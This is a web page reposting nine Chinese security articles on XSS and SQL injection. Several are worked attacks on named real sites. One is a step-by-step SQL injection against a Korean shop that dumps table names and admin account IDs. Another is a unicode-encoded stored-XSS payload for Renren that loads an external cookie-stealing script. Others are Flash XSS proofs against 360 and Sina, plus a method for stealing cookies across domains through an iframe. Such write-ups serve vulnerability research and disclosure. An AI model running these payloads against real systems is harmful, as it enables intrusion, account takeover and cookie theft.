欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>存储型XSS脚本安全

存储型XSS脚本安全

2022-09-02 08:35:43 收藏本文 下载本文

“柠豆”通过精心收集,向本站投稿了9篇存储型XSS脚本安全,以下是小编为大家整理后的存储型XSS脚本安全,希望能够帮助到大家。

存储型XSS脚本安全

篇1:存储型XSS脚本安全

如果把浏览器看作WEB2.0后时代的操作系统,那么客户端脚本就相当于传统的应用程序,而XSS的攻击方式其实就相当于在被攻击者的系统上执行了一个木马程序,但这种“木马”有个很大的缺点,就是无法像传统木马那样在操作系统中安家,以后还能自动执行。

前几个月发现了一种有趣的XSS漏洞,这种漏洞攻击一次后XSS代码就会被存储下来,以后每次访问被XSS的网站这个“木马”都会再自动执行。我在网上没有找到相关的资料,这里姑且称之为“存储型XSS”(如果有朋友之前看到过类似的文档,欢迎指教)。

原理其实也很简单,流程如下:

XSS代码被提交给网站-->网站把XSS代码SetCookie给浏览器-->浏览器再次请求网站时提交包含XSS代码的Cookie-->网站从Cookie中取出包含XSS代码的某变量并将该变量作为页面内容的一部分返回给客户端-->客户端执行XSS代码

XSS代码除了存储在客户端的Cookie中,也可能存储在服务器端,不过这种情形应该比较少。

比较常见的例子是提供多种语言支持的网站。用户在网站上设定要使用的语言,然后这个语言变量会被存储在Cookie或服务器端数据库。如在一些网页中可以看到类似这样的函数:

function getLocal {

var local;

local = 'zh_CN';

return local;

}

其中的local变量可能就是从客户端提交的Cookie或服务器数据库中取出的,

客户端请求如下URL:

tk.xfocus.org/setlocale.php?locale=zh_CN';return local;}alert(“XSS”);function dummy(){a='

“zh_CN';return local;}alert(“XSS”);function dummy(){a='”就会被作为语言信息存储下来。浏览器再去请求网站页面时,上面的函数就会变成这样:

function getLocal() {

var local;

local = 'zh_CN';return local;}alert(“XSS”);function dummy(){a='';

return local;

}

由于语言信息是需要全局使用的,所以一般网站的每个页面都会包含上面的代码。这样,“木马”就长存于“操作系统”中了。以后被攻击者每次访问该网站的每一个页面,都会执行这些XSS代码。

篇2:一次简单的搜索型注入脚本安全

简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞,然后搜索%,如果正常返回,说明95%有洞了。

然后再搜索一个关键字,比如吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。

我这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and user>0 and '%'=' //得到当前数据库账号

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and db_name()>0 and '%'=' //得到当前数据库名

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and%20(select%20top%201%20name%20from%20lvhuana3.dbo.sysobjects%20where%20xtype='u'%20and%20status>0%20and%20name%20not%20in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0%20and%20'%'=' //依次类推,得到所有的表

其实分析可以知道只有这个tbl_admin表才是最重要的,

接着开始暴列名。

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level

列名暴完毕了,嘿嘿,接着开始暴管理员账号密码了。

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二个管理员的id为champ

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三个管理员的id为clark

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四个管理员的id为hskim

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五个管理员的id为jajeong

www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。

一会再想别的办法吧。。。。。

篇3:人人网某处存储型XSS

欢迎人人网回来,特发此洞!

某处一个存储型的XSS,看了就中,还会同步到新鲜事~~

客服妹子太聪明,居然跨不了她,。。

目测木有设置HTTPONLY,获取COOKIES后轻松入侵~~

目测还有红包?嘿嘿。。

详细说明:相册中,上传一张相片,目测对photos过滤不严格,再次目测貌似什么都没过滤,所以就产生了XSS。

再加上没有设置HTTPONLY,所以拿到了cookies后就可以随意进入你的人人网了哦~~

另外,客服很聪明,居然跨不了他,呜呜。。。

测试地址:

photo.renren.com/photo/sp/foA-BJTryEQ

过程如下:

在相册中随意上传一张相片,到发布的时候截包。放过前面几个包,到upload.renren.com/upload/[YOUR ID]/finish_upload/v1.0的时候停下。

关键就是其中的photos参数~

信息如下,

%5B%7B%22code%22%3A0%2C%22msg%22%3A%22%22%2C%22filename%22%3A%22nofilename.jpg%22%2C%22filesize%22%3A814%2C%22width%22%3A292%2C%22height%22%3A250%2C%22images%22%3A%5B%7B%22url%22%3A%22fmn061%2F0808%2F1520%2Foriginal_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22large%22%2C%22width%22%3A292%2C%22height%22%3A250%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Fmain_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22main%22%2C%22width%22%3A200%2C%22height%22%3A171%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Ftiny_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22tiny%22%2C%22width%22%3A50%2C%22height%22%3A50%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Fhead_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22head%22%2C%22width%22%3A100%2C%22height%22%3A85%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Foriginal_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22xlarge%22%2C%22width%22%3A292%2C%22height%22%3A250%7D%5D%2C%22tempID%22%3A%22fileItem335152128_0%22%2C%22title%22%3A%22%22%7D%5D

URIComp解码,得到

[{“code”:0,“msg”:“”,“filename”:“nofilename.jpg”,“filesize”:814,“width”:292,“height”:250,“images”:[{“url”:“fmn061/20120808/1520/original_rEuR_1b880000eece118d.jpg”,“type”:“large”,“width”:292,“height”:250},{“url”:“fmn061/20120808/1520/main_rEuR_1b880000eece118d.jpg”,“type”:“main”,“width”:200,“height”:171},{“url”:“fmn061/20120808/1520/tiny_rEuR_1b880000eece118d.jpg”,“type”:“tiny”,“width”:50,“height”:50},{“url”:“fmn061/20120808/1520/head_rEuR_1b880000eece118d.jpg”,“type”:“head”,“width”:100,“height”:85},{“url”:“fmn061/20120808/1520/original_rEuR_1b880000eece118d.jpg”,“type”:“xlarge”,“width”:292,“height”:250}],“tempID”:“fileItem335152128_0”,“title”:“”}]

目测,通常这种都没有过滤js unicode后的代码。

所以我们将JS代码unicode一下。

“>

u0022u003eu003cu0073u0063u0072u0069u0070u0074u0020u0073u0072u0063u003du0068u0074u0074u0070u003au002fu002fu0078u0073u0073u0065u0072u002eu006du0065u002fu0070u0049u0051u004bu004bu007au003eu003cu002fu0073u0063u0072u0069u0070u0074u003e

将UNICODE后的插在图片地址的后面,

[{”code“:0,”msg“:”“,”filename“:”nofilename.jpg“,”filesize“:814,”width“:292,”height“:250,”images“:[{”url“:”fmn061/20120808/1520/original_rEuR_1b880000eece118d.jpgu0022u003eu003cu0073u0063u0072u0069u0070u0074u0020u0073u0072u0063u003du0068u0074u0074u0070u003au002fu002fu0078u0073u0073u0065u0072u002eu006du0065u002fu0070u0049u0051u004bu004bu007au003eu003cu002fu0073u0063u0072u0069u0070u0074u003e“,”type“:”large“,”width“:292,”height“:250},{”url“:”fmn061/20120808/1520/main_rEuR_1b880000eece118d.jpg“,”type“:”main“,”width“:200,”height“:171},{”url“:”fmn061/20120808/1520/tiny_rEuR_1b880000eece118d.jpg“,”type“:”tiny“,”width“:50,”height“:50},{”url“:”fmn061/20120808/1520/head_rEuR_1b880000eece118d.jpg“,”type“:”head“,”width“:100,”height“:85},{”url“:”fmn061/20120808/1520/original_rEuR_1b880000eece118d.jpg“,”type“:”xlarge“,”width“:292,”height“:250}],”tempID“:”fileItem335152128_0“,”title“:”“}]

然后给他进行URIComp编码。

将这个替换fiddler中的photo中的参数。

%5B%7B%22code%22%3A0%2C%22msg%22%3A%22%22%2C%22filename%22%3A%22nofilename.jpg%22%2C%22filesize%22%3A814%2C%22width%22%3A292%2C%22height%22%3A250%2C%22images%22%3A%5B%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Foriginal_rEuR_1b880000eece118d.jpg%5Cu0022%5Cu003e%5Cu003c%5Cu0073%5Cu0063%5Cu0072%5Cu0069%5Cu0070%5Cu0074%5Cu0020%5Cu0073%5Cu0072%5Cu0063%5Cu003d%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu003a%5Cu002f%5Cu002f%5Cu0078%5Cu0073%5Cu0073%5Cu0065%5Cu0072%5Cu002e%5Cu006d%5Cu0065%5Cu002f%5Cu0070%5Cu0049%5Cu0051%5Cu004b%5Cu004b%5Cu007a%5Cu003e%5Cu003c%5Cu002f%5Cu0073%5Cu0063%5Cu0072%5Cu0069%5Cu0070%5Cu0074%5Cu003e%22%2C%22type%22%3A%22large%22%2C%22width%22%3A292%2C%22height%22%3A250%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Fmain_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22main%22%2C%22width%22%3A200%2C%22height%22%3A171%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Ftiny_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22tiny%22%2C%22width%22%3A50%2C%22height%22%3A50%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Fhead_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22head%22%2C%22width%22%3A100%2C%22height%22%3A85%7D%2C%7B%22url%22%3A%22fmn061%2F20120808%2F1520%2Foriginal_rEuR_1b880000eece118d.jpg%22%2C%22type%22%3A%22xlarge%22%2C%22width%22%3A292%2C%22height%22%3A250%7D%5D%2C%22tempID%22%3A%22fileItem335152128_0%22%2C%22title%22%3A%22%22%7D%5D

图在上面~~~

然后我们打开图片开源码,果断的X了。

同时,目测在新鲜事中也会有同步。

看了看新鲜事中的源码,也有JS链接,不过貌似不运行。。。-_-||

限制了新鲜事中的JS运行?

不过也无伤大雅,其他用户看到那么奇葩的代码应该都会去点一点的。。。

点就跨~~

修复方案:过滤photo中的输入~

只允许图片URL中出现英文和.

不如加上HTTPONLY?

篇4:遨游分站存储型xss

遨游浏览器的默认主页是i.maxthon.cn/,此分站是此主页的一个应用,访问比较大,

app1.i.maxthon.cn/存在存储型xss,和浏览器结合危害比较大。

荣誉墙服务端没有过滤,所有input标签无一幸免。

测试代码,浏览器本地提交:

document.getElementById(”widget-wall-to“).value=”天马行空工作室“;

document.getElementById(”widget-wall-from“).value=”tmxk.org“;

document.getElementById(”widget-wall-words“).value=”“;

document.getElementById(”form“).submit;

演示地址:

app1.i.maxthon.cn/?m=show&id=33481

app1.i.maxthon.cn/?m=show&id=33482

作者:random_

篇5:一号店存储型XSS

简要描述:表单页面对提交数据未做数据约束,导致页面存在一处存储型跨站漏洞一个,

该漏洞容易导致其他用户的cookies信息被窃取,以及挂马。

详细说明:编辑个人资料页面,对提交数据未做数据约束,昵称文本框,手动先修改绕过最大输入字符数:

提交,

t”>

漏洞证明:

修复方案:服务端对提交数据做数据约束,做白名单,禁用,'“/ 等字符。

作者 路人甲

篇6:注入笔记手工注入字符型注入漏洞脚本安全

今天给大家讲解一下字符型注入点注入,也许很多朋友看到字符型的注入大部分都是放弃此注入去寻找其他数字型注入,因为字符型注入应用的不是很广泛,好了,这里我就来交大家字符型注入,

首先打开localhost:/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包  /很明显,字符型注入,

前几张我们说到了判断字符型注入的语句是' and '1'='1 和' and '1'=2  我们来看看。

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='1 返回正常。

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='2 返回错误。

我们确定了注入点那么我们先看看数字型注入能否在这里使用

先用联合查询 order by

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包+order+by+1   很明显,出错啦,不可使用。

那么再用半猜解查询试试

同样出错。

看来字数字型注入在字符型注入中失效啦,那么我们来试试

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+Manage_User)>0+and+''=' 返回了正常,说明存在manage_user表。

在sql语句中字符型参数必须用单引号闭合(')否则会出错。所以我们在注入中也先要用单引号来闭合语句。

下面我们来猜字段名。

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(username)+from+Manage_User)>0+and+''='  返回正常,存在,

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>0+and+''='  返回正常,存在。

这里我只截一张图。

下面判断一下username中字段长度

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>4+and+''='  返回正常

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)=5+and+''='  返回正常

密码字段省略。下面进行猜解用户名。

localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,1))=97)+and+''='  返回正常,username表中第一位是ascll码97,明文为:a

接着猜解第二位:localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,2))=100)+and+''='

返回正常,username字段中第二位ASCLL码为100,名为为d

这里之后依次往下猜,最后得到username表中数据为:admin,打开数据库看一下是否一样。

这里说明我们猜解正确。

篇7:关于defined脚本安全

很多php使用defined来防止外部直接访问php文件,从而保证了只让内部php文件include等调用,如下面:

//tag.php

if (!defined(”X“)) {

echo ”You Cannot Access This Script. Directly, Have a Nice Day.“;

exit();

}

?>

这样的代码可以解决很多的安全问题,比如变量未定义[应该说在本文件内未定义]。

但是这样的在本地包含漏洞前就没什么意义了。比如进来看一代码

common.php文件里:

if ( !defined('X') )

{

die('Do not access this file directly.');

}

if ( !isset($root_path) )

{

$root_path = './';

}

require_once($root_path . 'config.php');

如果没有!defined('X') 的限制那么我们,这里$root_path未定义导致了一个远程包含,

而在改脚本又存在一个update-->include的2次攻击导致的本地包含,那么我们可以通过这个本地包含漏洞包含common.php导致突破!defined('X'),转化为远程包含。

篇8:Flash应用安全系列360反射型跨站脚本安全

简要描述:

360某处Flash应用存在漏洞,可能导致跨站脚本攻击,

详细说明:

在一切开始之前,我们先来说明几个基本的问题。

1.SWF如何被嵌入HTML页面的

此处所说的嵌入,就是指当你打开一个网页,这个网页中包含着SWF媒体文件,通常是embed或者object标签的形式。SWF嵌入HTML时,embed或者object标签通常还含有几个特定的属性,关键的有allowScriptAccess以及allowNetworking。

allowScriptAccess控制着SWF文件与HTML页面通信的级别,这里所说的通信,包括但不仅限于让SWF执行JS,还囊括了从JS调用SWF里预留出的api接口。

allowScriptAccess有以下三个值:

always 允许任意SWF文件与HTML页面通信。never 禁止任意SWF文件与HTML页面通信。samedomain 只有在SWF文件来自与HTML页相同的域时才允许通信。当未指定allowScriptAccess时,samedomain为默认值。

allowNetworking控制着SWF文件与WEB通信的级别,这里所说的通信,基本上就是发送、读取网络上的资源文件,以及控制浏览器的页面导航。

allowNetworking有以下三个值:

all 无任何限制。internal 禁止控制浏览器页面导航的函数。none 禁止任何网络通信。当未指定allowNetworking时,all为默认值。

2.我直接打开SWF文件时发生了什么

如果你在直接打开SWF文件时,使用IE开发者工具或者Firebug查看DOM源码就会发现,其实你打开的还是一个HTML页面,页面的内容只有一行代码:

前面我们已经讲了两个基本的属性,这里都没有指定,那么Flash Player自动取其默认值:allowScriptAccess=samedomain & allowNetworking=all.

在明白了上面两点之后,我们就能下面几个容易让人混淆的问题作出解答:

- a.com 的html页面 embed 了一个 b.com 的xss.swf,脚本执行域是哪个域?- a.com 因为swf并不能执行JS,我们见到的他所执行的JS,其实是flash player通过调用承载他的html页面的js来实现的,所以是a.com。

- a.com 的html页面 iframe. 了一个 b.com 的xss.swf,脚本执行域是哪个域?- b.com 因为iframe了一个swf,其实是iframe了一个只有一行代码的HTML页面,html页面的域是b.com,故脚本的执行域也是b.com。

- a.com/load.swf能够加载任意的swf,我直接打开a.com/load.swf?url=b.com/xss.swf,能不能执行脚本?- 不能,因为直接打开一个swf,他的allowScriptAccess是samedomain,而xss.swf的域是b.com,所以不能执行JS。

Flash里能执行JS的脚本函数有以下:

getURL(AS2) / navigateToURL (AS3)flash.external.ExternalInterface.call(methodName:String, [parameter1:Object])

我们只需要搜索getURL/navigateToURL/ExternalInterface.call等关键字,然后在逆溯变量是否可控,就可以找到一些最基本的XSS漏洞。

以360的这个swf为例,

搜索ExternalInterface.call,我们发现了下面的代码,

public static function initLanguage() : void{ var _loc_1:* = null; Param.language = {}; if (ExternalInterface.available) { _loc_1 = ExternalInterface.call(Param.jsLang); if (_loc_1 != null) { Param.language[”CX0189“] = _loc_1[”CX0189“]; Param.language[”CX0193“] = _loc_1[”CX0193“]; _loc_1 = null; } } return;}

回溯Param.jsLang

this.parameter = this.loaderInfo.parameters;...Param.jsFunc = this.parameter[”jsfunc“];...Param.initLanguage()

这里的loaderInfo.parameters就是接受外部以flashvars或者类似a.swf?a=va&b=vb形式传入的变量和值。

这里我们打开 wan.360.cn/swf/avatar.swf?jslang=alert(1)

这里我们也许还有一个疑问,在官方的帮助文档里,flash.external.ExternalInterface.call可以接受两个参数,第一个是methodName,第二个是要传入的变量,那么对于上面的poc,正确的调用方法应该是flash.external.ExternalInterface.call(”alert“,”1“)才是,为什么flash.external.ExternalInterface.call(”alert(1)“)也能成功。

我们打开ie的调试工具,借用80vul.com上的demo,看看swf执行js时候发生了什么。

首先打开的是www.80vul.com/xss.swf?a=alert&b=1

​​

try { __flash__toXML(alert(”1“)) ; } catch (e) { ”“; }

__flash__toXML是将函数执行的结果进行编码后传回SWF的函数,外面再嵌套了一层容错语句,看来一切和预想的一样

再打开www.80vul.com/xss.swf?a=alert(2)&b=1

try { __flash__toXML(alert(2)(”1“)) ; } catch (e) { ”“; }

JS先执行了alert(2),弹出对话框。

再单步进入

alert函数没有返回值,alert(2)(”1“)出错,所以跳到了catch语句

这样一来,就能解释为什么即使不按adobe的文档说明的方法进行调用,也能执行js了,再多说一句,由于这样会引起出错导致SWF接收不到JS返回的值,所以在某些特定的情况下,我们要对插入的函数进行进一步的变化,比如

www.80vul.com/xss.swf?a=(function(_a){alert(_a);return function(_z){prompt(2,3)};return 5})(1)&b=4

这样,SWF就可以接收到我们可以任意构造的返回值 5 了。

原始SWF下载:swfpoc.appspot.com/vul/wan.360.cn_swf_avatar.swf​

证明:

修复方案:

正则匹配下,只允许[a-zA-Z.]

篇9:基于flash的反射型xss的利用方法脚本安全

昨天在测试WEBQQ的时候,利用了这个,回头又在本地测试了一下,

----------------------------------------------------

在本地localhost建一个页面,进行了以下测试。

通过iframe调用传统的反射型XSS,因为iframe页面不同域,被IE9过滤器过滤掉,不执行。

< iframe/src=”xsst.sinaapp.com/example/1-1.php?page=“>

< /code>如果用普通的embed来嵌入FLASH的话,则弹出的是localhost,即当前测试网页的cookies

IE下测试:chrome会崩溃.www.xxx.com

< code>

< embed/src=”data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript.:''%22})()“allowscriptaccess=”always">

< /code>但是用iframe来嵌入FLASH XSS的话,就有意思了

测试代码如下(IE):

在chrome中,可能会导致浏览器崩溃,可以改用以下代码,

运行你会发现,弹出的是新浪域的cookies~

------------------------------------------

因此当我们发现www.A.com 域名下的一个flash XSS

我们可以在www.B.com域名下用iframe嵌入www.A.com的flash XSS文件。

当受害者,打开了www.B.com的域名时,我们可以成功获取其在www.A.com的cookies数据!​

【存储型XSS脚本安全】相关文章:

1.百度的JS数据流注入型跨站脚本安全

2.sqlmap 注入命令脚本安全

3.Mssql 逆向查询脚本安全

4.Web安全测试之XSS脚本安全

5.脚本范文

6.手把手教你劫持李开复的 脚本安全

7.360webscan 0.1.1.9 XSS防御绕过脚本安全

8.安全测试跨站脚本攻击(xss)脚本安全

9.注入笔记半猜解查询脚本安全

10.WIN技巧:软件限制策略保证脚本安全

下载word文档
《存储型XSS脚本安全.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

  • 返回顶部